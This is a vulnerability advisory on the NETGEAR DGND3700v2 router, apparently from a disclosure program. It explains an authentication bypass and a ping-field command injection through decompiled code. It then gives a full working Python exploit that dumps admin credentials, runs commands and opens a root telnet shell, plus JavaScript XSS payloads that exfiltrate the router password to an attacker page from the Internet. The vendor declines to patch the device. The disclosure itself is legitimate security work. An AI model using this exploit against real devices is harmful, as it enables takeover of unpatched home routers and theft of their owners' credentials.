TL;DR
Find out how two flaws in NETGEAR DGND3700v2 devices allow remote unauthenticated attackers to trigger bypass the authentication mechanism and run commands as root
.
Vulnerability Summary
Two security flaws in NETGEAR DGND3700v2 allows remote attackers that access the setup.cgi
with the passwordrecoverd.htm
referenced to bypass the authentication mechanism, a subsequent call to setup.cgi
with currentsettings.htm
to inject arbitrary commands via the ping_test
functionality.
CVE
TBD
Credit
An independent security researcher has reported this bypass to the SSD Secure Disclosure program.
Affected Versions
- NETGEAR DGND3700v2 (all firmware versions)
Vendor Response
“NETGEAR will not release a fix for this vulnerability on the affected product as the product is outside of the security support period. Current in-support models are not affected by this vulnerability.”
Vulnerability Analysis
NETGEAR DGND3700v2 suffers from two logic flaws that allow to compromise remotely the affected devices. The flaws have been tested all available firmware versions.
Reproducing
There are two ways to use the bug depending on where the attacker is: a LAN version (that also works against devices that have turned on remote management like in this Shodan query or directly from the Internet (like in a browser exploit).
LAN / remote management turned on
exploit.py
can be used to trigger the issues from the LAN side and if the remote management is enabled.
>python exploit.py . ' . " ' . . . ' ' "` . . ' ' . ' _______________ ==c(___(o(______(_() \=\ )=\ //|\\ //|| \\ // || \\ // || \\ // \\ «Longue vue» LAN exploit targeting NETGEAR DGND3700v2 usage: Longue vue [-h] [--dump-pwd] [--shell] [--cmd CMD] [--target TARGET] optional arguments: -h, --help show this help message and exit --dump-pwd --shell --cmd CMD --target TARGET
Here is an example of using it to get a remote shell on the device; note that routerlogin.com
should resolve to the device IP:
>python longue-vue.py --target routerlogin.com --shell [...] Getting a shell against routerlogin.com.. Waiting a few seconds before connecting.. Dropping in the shell, exit with ctrl+c # /bin/ps /bin/ps PID USER VSZ STAT COMMAND 1 root 1100 S init 2 root 0 SW< [kthreadd] 3 root 0 SW< [migration/0] 4 root 0 SW [sirq-high/0] 5 root 0 SW [sirq-timer/0] 6 root 0 SW [sirq-net-tx/0] 7 root 0 SW [sirq-net-rx/0] 8 root 0 SW [sirq-block/0] 9 root 0 SW [sirq-tasklet/0] 10 root 0 SW [sirq-sched/0] 11 root 0 SW [sirq-hrtimer/0] 12 root 0 SW [sirq-rcu/0] 13 root 0 SW< [migration/1] 14 root 0 SW [sirq-high/1] 15 root 0 SW [sirq-timer/1] 16 root 0 SW [sirq-net-tx/1] 17 root 0 SW [sirq-net-rx/1] 18 root 0 SW [sirq-block/1] 19 root 0 SW [sirq-tasklet/1] 20 root 0 SW [sirq-sched/1] 21 root 0 SW [sirq-hrtimer/1] 22 root 0 SW [sirq-rcu/1] 23 root 0 SW< [events/0] 24 root 0 SW< [events/1] 25 root 0 SW< [khelper] 28 root 0 SW< [async/mgr] 92 root 0 SW< [kblockd/0] 93 root 0 SW< [kblockd/1] 102 root 0 SW< [khubd] 120 root 0 SW< [bpm] 136 root 0 SW [pdflush] 137 root 0 SW [pdflush] 138 root 0 SWN [kswapd0] 140 root 0 SW< [crypto/0] 141 root 0 SW< [crypto/1] 198 root 0 SW< [mtdblockd] 246 root 0 SW [board-timer] 250 root 0 SW< [linkwatch] 306 root 0 SW [kpAliveWatchdog] 312 root 0 SW [dsl0] 321 root 0 SW [bcmsw] 322 root 0 SW [bcmsw_timer] 409 root 1500 S /usr/sbin/swmdk 411 root 1500 S /usr/sbin/swmdk 412 root 1500 S /usr/sbin/swmdk 417 root 1272 S /sbin/klogd 419 root 808 S /usr/sbin/cmd_agent_ap 421 root 0 SWN [jffs2_gcd_mtd4] 422 root 0 SWN [jffs2_gcd_mtd3] 423 root 0 SWN [jffs2_gcd_mtd12] 424 root 0 SWN [jffs2_gcd_mtd11] 425 root 0 SWN [jffs2_gcd_mtd10] 426 root 0 SWN [jffs2_gcd_mtd9] 427 root 0 SWN [jffs2_gcd_mtd2] 428 root 0 SWN [jffs2_gcd_mtd8] [...] # *** Connection closed by remote host *** Cleaning up.. Joining.. ----------------------------Done----------------------------
From the Internet
The easiest way to set the attack is to start python -m http.server
from the web/
directory; then edit the hosts
file of the OS (C:\Windows\System32\drivers\etc\hosts
on Windows, /etc/hosts
on Linux) and add an entry:
[...] <your local ip> longue-vue.net
Here is an example:
[...] 192.168.0.2 longue-vue.net
Once this is done, you can open a browser (we’ve only tested this on Microsoft Edge Chromium; we don’t see why it wouldn’t work on regular Chrome though) and navigate to longue-vue.net
and press the button.
Vulnerabilities
Two vulnerabilities are used; an authentication bypass (as well as a session bypass) and a command injection.
Most of the web functionality is implemented in a CGI executable most likely written in C. The HTTP server is based off mini_httpd with some modifications / customisation. mini_httpd
is the process that sets up the environment variables that the CGI executable uses to understand the request that it has to serve for the user.
The CGI executable where most (maybe all of it) of the functionality is implemented is setup.cgi
.
Bypassing authentication / session
The way web authentication “works” on this device is using a very bad design. Basically the web server sets an environment variable called NEED_AUTH
before invoking setup.cgi
, then setup.cgi
runs the authentication code accordingly.
Now because there are some resources that needs to be available without authentication (like the page that you get when you enter wrong credentials), the http server tries to figure out if the resource needs to be authenticated or not.
.data:0041EB20 SpecialNonAuthPages:.word aCurrentsetting .data:0041EB20 # DATA XREF: handle_request+12F8↑o .data:0041EB20 # main+BF0↑o .data:0041EB20 # "currentsetting.htm" .data:0041EB24 .word aUpdateSettingH # "update_setting.htm" .data:0041EB28 .word aDebuginfoHtm # "debuginfo.htm" .data:0041EB2C .word aImportantUpdat # "important_update.htm" .data:0041EB30 .word aMNUtopHtm # "MNU_top.htm" .data:0041EB34 .word aWarningPgHtm # "warning_pg.htm" .data:0041EB38 .word aMultiLoginHtml # "multi_login.html" .data:0041EB3C .word aHtpwdRecoveryC # "htpwd_recovery.cgi" .data:0041EB40 .word a401RecoveryHtm # "401_recovery.htm" .data:0041EB44 .word a401AccessDenie # "401_access_denied.htm"
One way it does that is by looking if the URL contains currentsetting.htm (for example).
// .text:0040609C handle_request char *handle_request() { //... CurrSpecialPagePtr = (const char **)SpecialNonAuthPages; while ( 1 ) { CurrSpecialPage = *CurrSpecialPagePtr; if ( !*CurrSpecialPagePtr ) break; ++CurrSpecialPagePtr; // If we find a hit, we special case the request if ( strstr(v60, CurrSpecialPage) ) goto LABEL_171; } if ( !strstr(v60, ".gif") && !strstr(v60, ".css") && !strstr(v60, ".js") && !strstr(v60, ".xml") && !strstr(v60, ".jpg") ) { goto LABEL_173; } LABEL_171: NeedAuth = 0;
Obviously an attacker can abuse this very easily by just appending foo=currentsetting.htm
in every authenticated URL the attacker wants to access.
def dump_http_pwd(target): '''Bypass authentication and retrieve credentials needed to access the administration panel.''' r = requests.get(f'http://{target}/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm') content = r.content.decode() login, pwd = re.findall(r'Router Admin (?:Username|Password)</span>: (.+)</td>', content) return login, pwd
Then, setup.cgi
is spawned:
.text:00405BAC move $a1, $zero # handler .text:00405BB0 lw $gp, 0x2B38+var_2B10($sp) .text:00405BB4 move $a0, $s1 # path .text:00405BB8 la $t9, execve .text:00405BBC move $a1, $s0 # argv .text:00405BC0 jalr $t9 ; execve .text:00405BC4 move $a2, $s2 # envp
Now, this is a stripped version of setup.cgi
‘s main:
int __cdecl main(int argc, const char **argv, const char **envp) { // ... strcpy(SessionFilepath, "/tmp/SessionFile"); memset(&SessionFilepath[17], 0, 0x6Fu); // ... QueryStringIdPtr = strstr(QueryString, "id="); if ( !QueryStringIdPtr ) { // ... } QueryStringId = strtol(QueryStringIdPtr + 3, &QueryStringAfterIdPtr, 16); if ( QueryStringAfterIdPtr ) { QueryStringSpPtr = strstr(QueryStringAfterIdPtr, "sp="); if ( QueryStringSpPtr ) strcat(SessionFilepath, QueryStringSpPtr + 3); } SessionId = ReadSessionId(SessionFilepath); ConFd__ = fopen("/dev/console", "w"); if ( ConFd__ ) { fprintf(ConFd__, "[ %s - %d ] : ", "sid_verify", 201); fprintf(ConFd__, "<%s> your_sid = <%08x>, my_sid = <%08x> \n", SessionFilepath, QueryStringId, SessionId); fflush(ConFd__); fclose(ConFd__); } if ( QueryStringId != SessionId ) goto SendForbidden; // ... }
The functionality is basically gated behind those checks; we haven’t encountered the authentication yet. That’s what I called the ‘session bypass’ which I am not too sure if it is a real security measure or not.
In any case, the way it works is that the code creates a file callled /tmp/SessionFileXXX
with an integer written into it (yes it’s also has a remote pre-auth stack-overflow). Now when setup.cgi
receives the sp=XXX
parameter in the URL it concatenates its value to /tmp/SessionFileXXX
in SessionFilePath
.
After that ReadSessionId
is called with SessionFilepath
; here is what the function looks like:
int __fastcall ReadSessionId(const char *Filename) { FILE *Fd; int SessionId; SessionId = 0; Fd = fopen(Filename, "r"); if ( !Fd ) return SessionId; fscanf(Fd, "%x", &SessionId); fclose(Fd); return SessionId; }
The function is really simple: it basically opens the file path passed, read an hexadecimal string into an integer which is SessionId
and returns it. The caller simply compares the value passed in id=
to the value stored in the file. If the secret matches, then the code keeps going otherwise it sends a forbidden answer to the user.
This is very easy to bypass, we can simply pass sp=1337
which will not exist on the device; fopen
will fail and it will return SessionId
which is initialized to zero.. which means we can just pass id=0
to bypass the session check.
def cmd_exec(target, cmd, silent = False): r = requests.post( f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm',
The code carries on and you can trigger different functionality based on the GET parameters received, or if it was a POST request. Here is what the functions look like:
int HandleSetupCgi() { int List; const char *NextFile; const char *ActionName; List = cgi_input_parse(); fflush(stdout); if ( check_need_logout(List) ) return handle_logout(List);
cgi_input_parse
basically parse the query string and creates a list of key / value items. The list is passed around to various functions instead of parsing the query string over and over again.
In check_need_logout
we finally have the NEED_AUTH
variable I mentioned earlier.
bool __fastcall check_need_logout(int List) { // ... LoginIp = getenv("LOGIN_IP"); NeedAuth = getenv("NEED_AUTH"); // ... if ( NeedAuth ) { Return = 0; if ( *NeedAuth == '0' ) return Return; } //... }
The function needs to return zero for the caller to expose functionality. If the variable NEED_AUTH
is present in the environment, the code checks if it is “0” and if so it returns 0 which is what we want. Because of the issue exploited in the http server, NEED_AUTH
will be set to 0
and this is how we bypass authentication.
At this point we can access any functionality exposed by the web UI which means we can leak the HTTP passwords, etc.
Executing arbitrary commands
setup.cgi
implements a weird command model and one of them allows you to ping an arbitrary IP (it is available in Advanced > Administration > Diagnostics). The code that implements this is defined as below:
int __fastcall handler_ping_test(int a1) { const char *v2; // $s2 const char *v3; // $v0 char v5[128]; // [sp+18h] [-80h] BYREF v2 = (const char *)find_val(a1, (int)"c4_IPAddr"); if ( !v2 ) v2 = &nptr; if ( !strchr(v2, '-') && !strchr(v2, ';') ) { sprintf(v5, "/bin/ping -c 4 %s", v2); myPipe(v5, &ping_output); } v3 = (const char *)find_val(a1, (int)"next_file"); html_parser(v3, a1, &key_fun_tab); return 0; }
There is a trivial injection here via the c4_IPAddr
post parameter. The two only characters we can’t use are -
and ;
. But this is enough to run a telnet server available from the LAN for example:
def cmd_exec(target, cmd, silent = False): '''Bypass authentication and command inject `cmd`.''' r = requests.post( f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm', { 'todo' : 'ping_test', 'c4_IPAddr' : f'127.0.0.1 && echo SNIPME && {cmd}', 'next_file' : 'diagping.htm' }) content = r.content.decode() ping_log = re.findall( r'<textarea name="ping_result" .+ readonly >(.+)</textarea>', content, re.DOTALL ) _, cmd_content = ping_log[0].split('SNIPME', 1) if not silent: print(cmd_content.strip()) def spawn_telnetd(target): '''Spawn the telnet server.''' cmd_exec(target, '/bin/utelnetd', silent = True)
Bypassing CORS in the remote from the Internet scenario
When running the exploit via the browser, one issue that arises is that the origin longue-vue.net
is not allowed to read cross origin data. Even though it can post / get and trigger the issues discussed above it cannot read the result.
The trick used to bypass this is to convert the command execution vulnerability above to create an XSS (running /bin/echo PAYLOAD
). The XSS payload runs in the context of the router’s origin and is able to leak the data to the attacker server. That is how is implemented the leak of HTTP credentials:
// // Dump the passwords of the administrator. // function dumpPasswords() { // // This is the XSS payload that allows us to exfiltrate data to the attacker website. // Without it CORS would prevent us from reading the content and leaking the creds. // Once it is finished it sends a message to the parent window, so polite. // const payload = `fetch('/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm').then(r=>r.text()).then(r=>parent.postMessage(r, '*')).catch(r=>parent.postMessage('failed','*'))`; return execute(payload).then(R => { const [loginMatch, pwdMatch] = R.matchAll(/Router Admin (?:Username|Password)<\/span>: (.+)<\/td>/g); return {'login':loginMatch[1], 'pwd':pwdMatch[1]}; }); }
As well as reading the results of the arbitrary commands executed on the target:
// // Execute a shell command on the router. // function executeCommand(command) { if (command.includes(';') || command.includes('-')) { throw 'cannot inject ";" or "-"'; } // // This is the XSS payload that allows us to exfiltrate data to the attacker website. // Without it CORS would prevent us from reading the content and leaking the creds. // Once it is finished it sends a message to the parent window, so polite. // const payload = "parent.postMessage(document.body.outerHTML,'*')"; const commands = ['/bin/echo BEGIN', command, '/bin/echo END']; return execute(payload, commands).then(r => { const [_, result] = r.match(/BEGIN\n(.+)\nEND/s); return result; }); }
Exploit
import requests import re import threading import telnetlib import time import argparse def dump_http_pwd(target): '''Bypass authentication and retrieve credentials needed to access the administration panel.''' r = requests.get(f'http://{target}/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm') content = r.content.decode() login, pwd = re.findall(r'Router Admin (?:Username|Password)</span>: (.+)</td>', content) return login, pwd def cmd_exec(target, cmd, silent = False): '''Bypass authentication and command inject `cmd`.''' r = requests.post( f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm', { 'todo' : 'ping_test', 'c4_IPAddr' : f'127.0.0.1 && echo SNIPME && {cmd}', 'next_file' : 'diagping.htm' }) content = r.content.decode() ping_log = re.findall( r'<textarea name="ping_result" .+ readonly >(.+)</textarea>', content, re.DOTALL ) _, cmd_content = ping_log[0].split('SNIPME', 1) if not silent: print(cmd_content.strip()) def spawn_telnetd(target): '''Spawn the telnet server.''' cmd_exec(target, '/bin/utelnetd', silent = True) def main(): parser = argparse.ArgumentParser('Longue vue') parser.add_argument('--dump-pwd', action = 'store_true', default = False) parser.add_argument('--shell', action = 'store_true', default = False) parser.add_argument('--cmd') parser.add_argument('--target', default = 'routerlogin.com') args = parser.parse_args() if not args.dump_pwd and not args.shell and not args.cmd: parser.print_help() return if args.dump_pwd: print('Dumping administration password...') login, pwd = dump_http_pwd(args.target) print(f'Login: {repr(login)}, Password: {repr(pwd)}') if args.cmd is not None: if '-' in args.cmd or ';' in args.cmd: print('Both "-" and ";" are disallowed by the command injection bug, use the shell instead.') return print(f'Executing {repr(args.cmd)} against {args.target}..') cmd_exec(args.target, args.cmd) if args.shell: print(f'Getting a shell against {args.target}..') telnetd = threading.Thread(target = spawn_telnetd, args = (args.target, )) telnetd.start() print('Waiting a few seconds before connecting..') time.sleep(5) print('Dropping in the shell, exit with ctrl+c') try: with telnetlib.Telnet(args.target) as tn: tn.mt_interact() except: pass print('Cleaning up..') cmd_exec(args.target, '/bin/kill $(/bin/pidof utelnetd)', silent = True) print('Joining..') telnetd.join() print('Done'.center(60, '-')) main()